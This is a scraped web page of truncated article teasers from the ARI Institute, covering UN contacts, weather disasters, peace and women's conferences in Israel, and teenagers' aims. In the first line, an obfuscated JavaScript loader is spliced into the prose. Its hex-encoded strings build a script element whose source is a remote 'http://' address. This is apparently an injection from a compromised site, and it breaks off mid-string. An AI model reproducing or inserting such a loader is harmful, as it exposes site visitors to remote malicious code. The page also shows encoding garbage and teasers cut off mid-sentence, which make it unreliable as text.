Since early 2011, the ARI Institute has been in ongoing communication with the UN & UNESCOvar _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x
The Big Questions Nature is a�?communicatinga�? with the U.S. quite strongly lately. The greatest country in the world has no shortage of troubles. You could assume the heightened occurrence and severity of weather disasters are random acts of Nature.
The ARI Institute participated in the International Conference on Sports for Development and Peace (ICSSPE), which took place at the Wingate Institute in Israel with participants from 32 countries, including a delegation of 30 from Jordan. The theme was Sport as a Mediator between Cul
Representatives of the ARI Institute, Executive Vice-President, Rachel Laitman and PR and International Affairs Managing Director, Norma Livne, took part in the 27th International Women Leaders Conference that was recently hosted in Haifa, Israel. The theme was a�?Science, Technology
The Problem The more we develop, the more complicated and unpredictable life becomes. This means that there are forces we cannot see or feel, which is why we seem to suddenly discover all kinds of things we did not anticipate.
So what does the younger generation really want? Lately it seems like more and more teens on the verge of becoming adults no longer want a career, fame or respect. Sometimes it seems like they do not want anything at all.